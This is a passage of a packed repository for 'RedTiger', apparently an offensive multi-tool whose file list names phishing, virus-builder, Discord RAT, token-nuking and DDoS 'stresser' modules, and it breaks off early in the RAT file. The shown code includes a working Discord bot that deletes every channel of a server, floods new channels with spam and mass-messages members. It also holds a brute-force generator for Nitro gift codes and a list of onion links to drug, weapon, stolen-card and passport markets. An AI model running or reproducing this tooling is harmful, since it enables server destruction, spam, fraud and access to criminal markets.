├── .gitignore
├── 1-Output
├── DoxCreate
│ └── DoxCreate.txt
├── PhishingAttack
│ └── PhishingAttack.txt
└── VirusBuilder
│ └── VirusBuilder.txt
├── 2-Input
├── Headers
│ └── UserAgent.txt
├── TokenDisc
│ └── TokenDisc.txt
└── WorldList
│ ├── PasswordList (part 1).zip
│ ├── PasswordList (part 2).zip
│ ├── Rockyou (part 1).zip
│ └── Rockyou (part 2).zip
├── Img
├── Builder.png
├── Python_Path.png
├── RedTiger-2.png
├── RedTiger-3.png
├── RedTiger-Banner.png
├── RedTiger.png
├── RedTiger_Logo.png
└── RedTiger_icon.ico
├── LICENSE
├── Program
├── Anonymization-Software.py
├── Config
│ ├── Config.py
│ ├── Menu.txt
│ └── Util.py
├── Dark-Web-Links.py
├── Discord-Bot-Invite-To-Id.py
├── Discord-Bot-Server-Nuker.py
├── Discord-Nitro-Generator.py
├── Discord-Rat-(Premium).py
├── Discord-Server-Info.py
├── Discord-Token-Block-Friends.py
├── Discord-Token-Delete-Dm.py
├── Discord-Token-Delete-Friends.py
├── Discord-Token-Generator.py
├── Discord-Token-House-Changer.py
├── Discord-Token-Info.py
├── Discord-Token-Joiner.py
├── Discord-Token-Language-Changer.py
├── Discord-Token-Leaver.py
├── Discord-Token-Login.py
├── Discord-Token-Mass-Dm.py
├── Discord-Token-Nuker.py
├── Discord-Token-Server-Raid.py
├── Discord-Token-Spammer.py
├── Discord-Token-Status-Changer.py
├── Discord-Token-Theme-Changer.py
├── Discord-Token-To-Id-And-Brute.py
├── Discord-Webhook-Delete.py
├── Discord-Webhook-Generator.py
├── Discord-Webhook-Info.py
├── Discord-Webhook-Spammer.py
├── Dox-Create.py
├── Dox-Tracker.py
├── Email-Lookup.py
├── Email-Tracker.py
├── FileDetectedByAntivirus
│ └── Password(redtiger).zip
├── Get-Image-Exif.py
├── Google-Dorking.py
├── Info.py
├── Ip-Generator.py
├── Ip-Lookup.py
├── Ip-Pinger.py
├── Ip-Port-Scanner.py
├── Ip-Scanner.py
├── Password-Hash-Decrypted-Attack.py
├── Password-Hash-Encrypted.py
├── Password-Zip-Cracked-Attack.py
├── Phishing-Attack.py
├── Phone-Number-Lookup.py
├── Python-Obfuscator-(Premium).py
├── Roblox-Cookie-Info.py
├── Roblox-Cookie-Login.py
├── Roblox-Id-Info.py
├── Roblox-User-Info.py
├── Search-In-DataBase.py
├── Site.py
├── Stresser-(Premium).py
├── Username-Tracker.py
├── Virus-Builder.py
├── Website-Info-Scanner.py
├── Website-Url-Scanner.py
└── Website-Vulnerability-Scanner.py
├── README.md
├── RedTiger.py
├── Setup.py
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | **/__pycache__/
2 | *VirusBuilderOptions.py*
--------------------------------------------------------------------------------
/1-Output/DoxCreate/DoxCreate.txt:
--------------------------------------------------------------------------------
1 | Dox output in this folder.
--------------------------------------------------------------------------------
/1-Output/PhishingAttack/PhishingAttack.txt:
--------------------------------------------------------------------------------
1 | Website copy output in this folder.
--------------------------------------------------------------------------------
/1-Output/VirusBuilder/VirusBuilder.txt:
--------------------------------------------------------------------------------
1 | Virus output in this folder.
--------------------------------------------------------------------------------
/2-Input/TokenDisc/TokenDisc.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/2-Input/TokenDisc/TokenDisc.txt
--------------------------------------------------------------------------------
/2-Input/WorldList/PasswordList (part 1).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/2-Input/WorldList/PasswordList (part 1).zip
--------------------------------------------------------------------------------
/2-Input/WorldList/PasswordList (part 2).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/2-Input/WorldList/PasswordList (part 2).zip
--------------------------------------------------------------------------------
/2-Input/WorldList/Rockyou (part 1).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/2-Input/WorldList/Rockyou (part 1).zip
--------------------------------------------------------------------------------
/2-Input/WorldList/Rockyou (part 2).zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/2-Input/WorldList/Rockyou (part 2).zip
--------------------------------------------------------------------------------
/Img/Builder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/Builder.png
--------------------------------------------------------------------------------
/Img/Python_Path.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/Python_Path.png
--------------------------------------------------------------------------------
/Img/RedTiger-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/RedTiger-2.png
--------------------------------------------------------------------------------
/Img/RedTiger-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/RedTiger-3.png
--------------------------------------------------------------------------------
/Img/RedTiger-Banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/RedTiger-Banner.png
--------------------------------------------------------------------------------
/Img/RedTiger.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/RedTiger.png
--------------------------------------------------------------------------------
/Img/RedTiger_Logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/RedTiger_Logo.png
--------------------------------------------------------------------------------
/Img/RedTiger_icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/6f2e00d3b85e87e0ebd7251d57f4a7c91cab37bc/Img/RedTiger_icon.ico
--------------------------------------------------------------------------------
/Program/Anonymization-Software.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Anonymization Software (Paid)")
19 |
20 | try:
21 | print(f"\n{BEFORE + current_time_hour() + AFTER} {INFO} This product is paid for and available on our website.")
22 | webbrowser.open_new_tab(f"https://{website}")
23 | Continue()
24 | Reset()
25 | except Exception as e:
26 | Error(e)
--------------------------------------------------------------------------------
/Program/Config/Config.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | name_tool = "RedTiger"
12 | type_tool = "Multi-Tools"
13 | version_tool = "6.5"
14 | coding_tool = "Python 3"
15 | language_tool = "EN"
16 | creator = "loxy0dev"
17 | platform = "Windows 10/11 & Linux"
18 | website = "redtiger.shop"
19 | github_tool = "github.com/loxy0dev/RedTiger-Tools"
20 | telegram = "t.me/redtigersupport"
21 | url_config = "https://raw.githubusercontent.com/loxy0dev/RedTiger-Tools/main/Program/Config/Config.py"
22 | url_downloads = "https://github.com/loxy0dev/RedTiger-Tools/archive/main.zip"
23 | license = "https://github.com/loxy0dev/RedTiger-Tools/blob/main/LICENSE"
24 | copyright = "Copyright (c) RedTiger 'GPL-3.0 license'"
--------------------------------------------------------------------------------
/Program/Config/Menu.txt:
--------------------------------------------------------------------------------
1 | 1
--------------------------------------------------------------------------------
/Program/Dark-Web-Links.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | Title("Dark Web Links")
15 |
16 | try:
17 | links = {
18 | "Search Engine": {
19 | "Torch": "http://xmh57jrknzkhv6y3ls3ubitzfqnkrwxhopf5aygthi7d6rplyvk3noyd.onion/",
20 | "Danex": "http://danexio627wiswvlpt6ejyhpxl5gla5nt2tgvgm2apj2ofrgm44vbeyd.onion/",
21 | "Sentor": "http://e27slbec2ykiyo26gfuovaehuzsydffbit5nlxid53kigw3pvz6uosqd.onion/",
22 | "Hidden Answers": "http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion/",
23 | "riseup searx": "http://ozmh2zkwx5cjuzopui64csb5ertcooi5vya6c2gm4e3vcvf2c2qvjiyd.onion/",
24 | },
25 | "Bitcoin Anonymity": {
26 | "Dark Mixer": "http://y22arit74fqnnc2pbieq3wqqvkfub6gnlegx3cl6thclos4f7ya7rvad.onion/",
27 | "Mixabit": "http://hqfld5smkr4b4xrjcco7zotvoqhuuoehjdvoin755iytmpk4sm7cbwad.onion/",
28 | "EasyCoin": "http://mp3fpv6xbrwka4skqliiifoizghfbjy5uyu77wwnfruwub5s4hly2oid.onion/",
29 | "Onionwallet": "http://p2qzxkca42e3wccvqgby7jrcbzlf6g7pnkvybnau4szl5ykdydzmvbid.onion/",
30 | "VirginBitcoin": "http://ovai7wvp4yj6jl3wbzihypbq657vpape7lggrlah4pl34utwjrpetwid.onion/",
31 | "Cryptostamps": "http://lgh3eosuqrrtvwx3s4nurujcqrm53ba5vqsbim5k5ntdpo33qkl7buyd.onion/",
32 | },
33 | "DDoS": {
34 | "Stresser": "http://ecwvi3cd6h27r2kjx6ur6gdi4udrh66omvqeawp3dzqrtfwo432s7myd.onion/",
35 | },
36 | "Market": {
37 | "Deep Market": "http://deepmar4ai3iff7akeuos3u3727lvuutm4l5takh3dmo3pziznl5ywqd.onion/",
38 | "DrChronic": "http://iwggpyxn6qv3b2twpwtyhi2sfvgnby2albbcotcysd5f7obrlwbdbkyd.onion/",
39 | "TomAndJerry": "http://rfyb5tlhiqtiavwhikdlvb3fumxgqwtg2naanxtiqibidqlox5vispqd.onion/",
40 | "420prime": "http://ajlu6mrc7lwulwakojrgvvtarotvkvxqosb4psxljgobjhureve4kdqd.onion/",
41 | "DeDope": "http://sga5n7zx6qjty7uwvkxpwstyoh73shst6mx3okouv53uks7ks47msayd.onion/",
42 | "AccMarket": "http://55niksbd22qqaedkw36qw4cpofmbxdtbwonxam7ov2ga62zqbhgty3yd.onion/",
43 | "Cardshop": "http://s57divisqlcjtsyutxjz2ww77vlbwpxgodtijcsrgsuts4js5hnxkhqd.onion/",
44 | "Darkmining": "http://jbtb75gqlr57qurikzy2bxxjftzkmanynesmoxbzzcp7qf5t46u7ekqd.onion/",
45 | "MobileStore": "http://rxmyl3izgquew65nicavsk6loyyblztng6puq42firpvbe32sefvnbad.onion/",
46 | "EuroGuns": "http://t43fsf65omvf7grt46wlt2eo5jbj3hafyvbdb7jtr2biyre5v24pebad.onion/",
47 | "UKpassports": "http://3bp7szl6ehbrnitmbyxzvcm3ieu7ba2kys64oecf4g2b65mcgbafzgqd.onion/",
48 | "ccPal": "http://xykxv6fmblogxgmzjm5wt6akdhm4wewiarjzcngev4tupgjlyugmc7qd.onion/",
49 | "Webuybitcoins": "http://wk3mtlvp2ej64nuytqm3mjrm6gpulix623abum6ewp64444oreysz7qd.onion/",
50 | "ASAP Market": {
51 | "ASAP Market 1": "http://asap4u7rq4tyakf5gdahmj2c77blwc4noxnsppp5lzlhk7x34x2e22yd.onion/",
52 | "ASAP Market 2": "http://asap2u4pvplnkzl7ecle45wajojnftja45wvovl3jrvhangeyq67ziid.onion/",
53 | "ASAP Market 3": "http://asap4u2ihsunfdsumm66pmado3mt3lemdiu3fbx5b7wj5hb3xpgmwkqd.onion/",
54 | },
55 | "Cannahome": {
56 | "Cannahome 1": "http://cannabmgae3mkekotfzsyrx5lqg7lj7hgcn6t4rumqqs5vnvmuzsmfqd.onion/",
57 | "Cannahome 2": "http://cannaczy4w2nwu6d2vi5ugudrs23a4lpto2crxjl2tdvyxncsa7uwaid.onion/",
58 | "Cannahome 3": "http://cannabmuc64fbglolpkvnmqynsx226pg27rgimfe3gye3emgtgodohqd.onion/",
59 | },
60 | "Hydra": "http://hydraclubbioknikokex7njhwuahc2l67lfiz7z36md2jvopda7nchid.onion/",
61 | "The Versus Project": "http://pqqmr3p3tppwqvvapi6fa7jowrehgd36ct6lzr26qqormaqvh6gt4jyd.onion/",
62 | "Tor Market": "http://rrlm2f22lpqgfhyydqkxxzv6snwo5qvc2krjt2q557l7z4te7fsvhbid.onion/",
63 | "Drug Stores": {
64 | "DCdutchconnectionUK": "http://wbz2lrxhw4dd7h5t2wnoczmcz5snjpym4pr7dzjmah4vi6yywn37bdyd.onion/",
65 | "CanabisUK": "http://7mejofwihleuugda5kfnr7tupvfbaqntjqnfxc4hwmozlcmj2cey3hqd.onion/",
66 | "Bitpharma": "http://guzjgkpodzshso2nohspxijzk5jgoaxzqioa7vzy6qdmwpz3hq4mwfid.onion/",
67 | "EuCanna": "http://n6qisfgjauj365pxccpr5vizmtb5iavqaug7m7e4ewkxuygk5iim6yyd.onion/",
68 | "Smokeables": "http://kl4gp72mdxp3uelicjjslqnpomqfr5cbdd3wzo5klo3rjlqjtzhaymqd.onion/",
69 | "WeedShop": "http://marijuanaman43fi4t7el66di7vdpbfyhvkgk4mt7wxkg6erfkv65npy3d.onion/",
70 | },
71 | "Cartel": "http://7myb7itqew5ffqftvxjh2k7qxwrh7imavxlpn3fxa32d3rvw32e3s7ad.onion/",
72 | "Kingdom Market": "http://hdfozcnzivftjokvkdjzl6fhq3c7ltyct6db4efov2w4p7xb6rmhlfqd.onion/",
73 | },
74 | "Cooks": {
75 | "Recipes": "http://7gppr7tlr6twnr2whsqj7scfhdeu37tnhwb5t5kffmrfzzvj7hfgowd.onion/",
76 | },
77 | "Torrents": {
78 | "The Pirate Bay": "http://uj3wazyk5kz5rzs.onion/",
79 | "1337x": "http://1337xwlc2c8sf3d7.onion/",
80 | },
81 | "Social Media": {
82 | "Foxy": "http://foxy6vayr5g5hwwx.onion/",
83 | },
84 | "Wikis": {
85 | "Hidden Wiki": "http://wikitjerrta4qgz4.onion/",
86 | "Deep Web Wiki": "http://wikicbtbf7rgjjbqe.onion/",
87 | },
88 | "Government": {
89 | "UK Passport Renewal": "http://3bp7szl6ehbrnitmbyxzvcm3ieu7ba2kys64oecf4g2b65mcgbafzgqd.onion/",
90 | },
91 | "Communities": {
92 | "The Versus Project": "http://pqqmr3p3tppwqvvapi6fa7jowrehgd36ct6lzr26qqormaqvh6gt4jyd.onion/",
93 | },
94 | "Educational": {
95 | "EDU": "http://edu.onion/",
96 | },
97 | }
98 |
99 | def format_links(links):
100 | display_link = ""
101 |
102 | for category, sites in links.items():
103 | display_link += "\n" + MainColor2(category) + "\n"
104 |
105 | def add_sites(prefix, sites_dict):
106 | nonlocal display_link
107 | for i, (site, url) in enumerate(sites_dict.items()):
108 | if isinstance(url, dict):
109 | display_link += f"{prefix}├─ {red + site}\n"
110 | add_sites(prefix + "│ ", url)
111 | else:
112 | if i == len(sites_dict) - 1:
113 | display_link += f"{prefix}└─ {red + site}: {white + url}" + "\n"
114 | else:
115 | display_link += f"{prefix}├─ {red + site}: {white + url}" + "\n"
116 |
117 | add_sites("", sites)
118 |
119 | return display_link
120 |
121 | formatted_links = format_links(links)
122 | Slow(tor_banner + MainColor(formatted_links))
123 | Continue()
124 | Reset()
125 | except Exception as e:
126 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Bot-Invite-To-Id.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import webbrowser
15 | except Exception as e:
16 | ErrorModule(e)
17 |
18 | Title("Discord Invite Bot To Id")
19 |
20 | try:
21 | Slow(discord_banner)
22 | try:
23 | IdBot = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} ID bot -> {reset}"))
24 | except:
25 | ErrorId()
26 |
27 | invite_url = f'https://discord.com/oauth2/authorize?client_id={IdBot}&scope=bot&permissions=8'
28 | response = requests.get(invite_url)
29 | print(f"{BEFORE + current_time_hour() + AFTER} {INFO} Invite Url: {white + invite_url} (status: {response.status_code})")
30 |
31 | choice = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Open in browser ? (y/n) -> {reset}")
32 | if choice in ['y', 'Y', 'Yes', 'yes']:
33 | webbrowser.open_new_tab(invite_url)
34 | Continue()
35 | Reset()
36 | else:
37 | Continue()
38 | Reset()
39 | except Exception as e:
40 | Error(e)
41 |
--------------------------------------------------------------------------------
/Program/Discord-Bot-Server-Nuker.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 | try:
14 | import discord
15 | from discord.ext import commands
16 | except Exception as e:
17 | ErrorModule(e)
18 |
19 | Title("Discord Bot Server Nuker")
20 |
21 | try:
22 | def logs_command(cmd):
23 | print(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Command: {white}{PREFIX + cmd}")
24 | def logs_error(error):
25 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Error: {white}{error}")
26 |
27 | Slow(discord_banner)
28 | token = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Bot Token -> {reset}")
29 | print()
30 | PREFIX = "!"
31 |
32 | intents = discord.Intents.default()
33 | intents.members = True
34 | intents.guilds = True
35 | intents.messages = True
36 | intents.message_content = True
37 |
38 | bot = commands.Bot(command_prefix=PREFIX, intents=intents, help_command=None)
39 |
40 | created_channel_ids = []
41 |
42 | try:
43 | @bot.event
44 | async def on_ready():
45 | await bot.change_presence(activity=discord.Game(name=f"Host By {github_tool}"))
46 | print(f"""
47 | {BEFORE + ">" + AFTER} Token : {white}{token}
48 | {BEFORE + ">" + AFTER} Invite : {white}https://discord.com/oauth2/authorize?client_id={bot.user.id}&scope=bot&permissions=8
49 | {BEFORE + ">" + AFTER} Name : {white}{bot.user.name}#{bot.user.id}
50 | {BEFORE + ">" + AFTER} Prefix : {white}{PREFIX}
51 | {BEFORE + ">" + AFTER} Status : {white}Online""")
52 |
53 | print(f"""
54 | {BEFORE + "!" + AFTER} Bot Commands:
55 | {red + PREFIX}nuke [Channels Number], [Channels Name], [Message Spam]
56 | {white}Delete all channels and create other channels and spam messages.
57 | {red + PREFIX}spam_channels [Channels Number], [Channels Name], [Message Spam]
58 | {white}Created channels that spam messages.
59 | {red + PREFIX}delete_channels
60 | {white}Delete all channels from the server.
61 | {red + PREFIX}stop_message_spam
62 | {white}Stop all messages that are being spammed.
63 | {red + PREFIX}send_pm [Message]
64 | {white}Send a pm message to all members of the server.
65 | """)
66 | except:
67 | ErrorToken()
68 |
69 | @bot.command()
70 | async def nuke(ctx, *, args):
71 | global message_spam
72 | global spamming
73 |
74 | logs_command("nuke")
75 | arguments = [arg.strip() for arg in args.split(',')]
76 |
77 | if len(arguments) < 3:
78 | logs_error("Invalid Argument")
79 | return
80 |
81 | channels_number = arguments[0]
82 | channels_name = arguments[1]
83 | message_spam = arguments[2]
84 |
85 | try:
86 | int(channels_number)
87 | except:
88 | logs_error("Invalid Channels Number")
89 | return
90 |
91 | if len(arguments) > 3:
92 | message_spam = ", ".join(arguments[2:])
93 |
94 | guild = ctx.guild
95 |
96 | for channel in guild.channels:
97 | try:
98 | await channel.delete()
99 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Channel Delete: {white}{channel.name} ({channel.id})")
100 | except Exception as e:
101 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Channel Not Delete: {white}{channel.name} ({channel.id}) {red}Error: {white}{e}")
102 |
103 | created_channel_ids.clear()
104 |
105 | spamming = True
106 | for i in range(int(channels_number)):
107 | new_channel = await guild.create_text_channel(channels_name)
108 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Channel Create: {white}{channels_name}")
109 | created_channel_ids.append(new_channel.id)
110 | bot.loop.create_task(spam_channel(new_channel))
111 |
112 | async def spam_channel(channel):
113 | global message_spam
114 | global spamming
115 |
116 | while spamming:
117 | try:
118 | await channel.send(message_spam)
119 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Message Send: {white}{message_spam}")
120 | except Exception as e:
121 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Message Not Send: {white}{message_spam} {red}Error: {white}{e}")
122 |
123 | @bot.command()
124 | async def spam_channels(ctx, *, args):
125 | global message_spam
126 | global spamming
127 |
128 | logs_command("nuke")
129 | arguments = [arg.strip() for arg in args.split(',')]
130 |
131 | if len(arguments) < 3:
132 | logs_error("Invalid Argument")
133 | return
134 |
135 | channels_number = arguments[0]
136 | channels_name = arguments[1]
137 | message_spam = arguments[2]
138 |
139 | try:
140 | int(channels_number)
141 | except:
142 | logs_error("Invalid Channels Number")
143 | return
144 |
145 | if len(arguments) > 3:
146 | message_spam = ", ".join(arguments[2:])
147 |
148 | guild = ctx.guild
149 |
150 | spamming = True
151 | for i in range(int(channels_number)):
152 | new_channel = await guild.create_text_channel(channels_name)
153 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Channel Create: {white}{channels_name}")
154 | created_channel_ids.append(new_channel.id)
155 | bot.loop.create_task(spam_channel(new_channel))
156 |
157 | async def spam_channel(channel):
158 | global message_spam
159 | global spamming
160 |
161 | while spamming:
162 | try:
163 | await channel.send(message_spam)
164 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Message Send: {white}{message_spam}")
165 | except Exception as e:
166 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Message Not Send: {white}{message_spam} {red}Error: {white}{e}")
167 |
168 | @bot.command()
169 | async def stop_message_spam(ctx):
170 | logs_command("stop_message_spam")
171 | global spamming
172 | spamming = False
173 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Spam Stopped.")
174 |
175 | @bot.command()
176 | async def delete_channels(ctx):
177 | global spamming
178 |
179 | spamming = False
180 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Spam Stopped.")
181 | logs_command("delete_channels")
182 | guild = ctx.guild
183 | for channel in guild.channels:
184 | try:
185 | await channel.delete()
186 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Channel Delete: {white}{channel.name} ({channel.id})")
187 | except Exception as e:
188 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} Channel Not Delete: {white}{channel.name} ({channel.id}) {red}Error: {white}{e}")
189 |
190 | @bot.command()
191 | async def send_pm(ctx, *, message: str):
192 | logs_command("send_pm")
193 | guild = ctx.guild
194 |
195 | async for member in guild.fetch_members(limit=None):
196 | if member != ctx.author:
197 | try:
198 | await member.send(message)
199 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} {green}Status: {white}Sent {green}User: {white}{member.name}#{member.discriminator} ({member.id}) {green}Message: {white}{message}")
200 | except discord.Forbidden:
201 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {red}Status: {white}Failed (Access denied) {red}User: {white}{member.name}#{member.discriminator} ({member.id}) {red}Message: {white}{message}")
202 | except Exception as e:
203 | print(f"{BEFORE + current_time_hour() + AFTER} {ERROR} {red}Status: {white + e} {red}User: {white}{member.name}#{member.discriminator} ({member.id}) {red}Message: {white}{message}")
204 |
205 |
206 |
207 | try:
208 | bot.run(token)
209 | except:
210 | ErrorToken()
211 | except Exception as e:
212 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Nitro-Generator.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
7 | # FR:
8 | # - Ne pas toucher ni modifier le code ci-dessous. En cas d'erreur, veuillez contacter le propriétaire, mais en aucun cas vous ne devez toucher au code.
9 | # - Ne revendez pas ce tool, ne le créditez pas au vôtre.
10 |
11 | from Config.Util import *
12 | from Config.Config import *
13 |
14 | try:
15 | import random
16 | import string
17 | import json
18 | import requests
19 | import threading
20 | except Exception as e:
21 | ErrorModule(e)
22 |
23 | Title("Discord Nitro Generator")
24 |
25 | try:
26 | Slow(discord_banner)
27 | webhook = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook ? (y/n) -> {reset}")
28 | if webhook in ['y', 'Y', 'Yes', 'yes', 'YES']:
29 | webhook_url = input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Webhook Url -> {reset}")
30 | CheckWebhook(webhook_url)
31 |
32 | try:
33 | threads_number = int(input(f"{BEFORE + current_time_hour() + AFTER} {INPUT} Threads Number -> {reset}"))
34 | except:
35 | ErrorNumber()
36 |
37 | def send_webhook(url_nitro):
38 | payload = {
39 | 'embeds': [{
40 | 'title': f'Nitro Valid !',
41 | 'description': f"**Nitro:**\n```{url_nitro}```",
42 | 'color': color_webhook,
43 | 'footer': {
44 | "text": username_webhook,
45 | "icon_url": avatar_webhook,
46 | }
47 | }],
48 | 'username': username_webhook,
49 | 'avatar_url': avatar_webhook
50 | }
51 |
52 | headers = {
53 | 'Content-Type': 'application/json'
54 | }
55 |
56 | requests.post(webhook_url, data=json.dumps(payload), headers=headers)
57 |
58 | def nitro_check():
59 | code_nitro = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(16)])
60 | url_nitro = f'https://discord.gift/{code_nitro}'
61 | response = requests.get(f'https://discordapp.com/api/v6/entitlements/gift-codes/{code_nitro}?with_application=false&with_subscription_plan=true', timeout=1)
62 | if response.status_code == 200:
63 | if webhook in ['y']:
64 | send_webhook(url_nitro)
65 | print(f"{BEFORE_GREEN + current_time_hour() + AFTER_GREEN} {GEN_VALID} Status: {white}Valid{green} Nitro: {white}{url_nitro}{reset}")
66 | else:
67 | print(f"{BEFORE + current_time_hour() + AFTER} {GEN_INVALID} Status: {white}Invalid{red} Nitro: {white}{url_nitro}{reset}")
68 |
69 | def request():
70 | threads = []
71 | try:
72 | for _ in range(int(threads_number)):
73 | t = threading.Thread(target=nitro_check)
74 | t.start()
75 | threads.append(t)
76 | except:
77 | ErrorNumber()
78 |
79 | for thread in threads:
80 | thread.join()
81 |
82 | while True:
83 | request()
84 |
85 | except Exception as e:
86 | Error(e)
--------------------------------------------------------------------------------
/Program/Discord-Rat-(Premium).py:
--------------------------------------------------------------------------------
1 | # Copyright (c) RedTiger (https://redtiger.shop)
2 | # See the file 'LICENSE' for copying permission
3 | # ----------------------------------------------------------------------------------------------------------------------------------------------------------|
4 | # EN:
5 | # - Do not touch or modify the code below. If there is an error, please contact the owner, but under no circumstances should you touch the code.
6 | # - Do not resell this tool, do not credit it to yours.
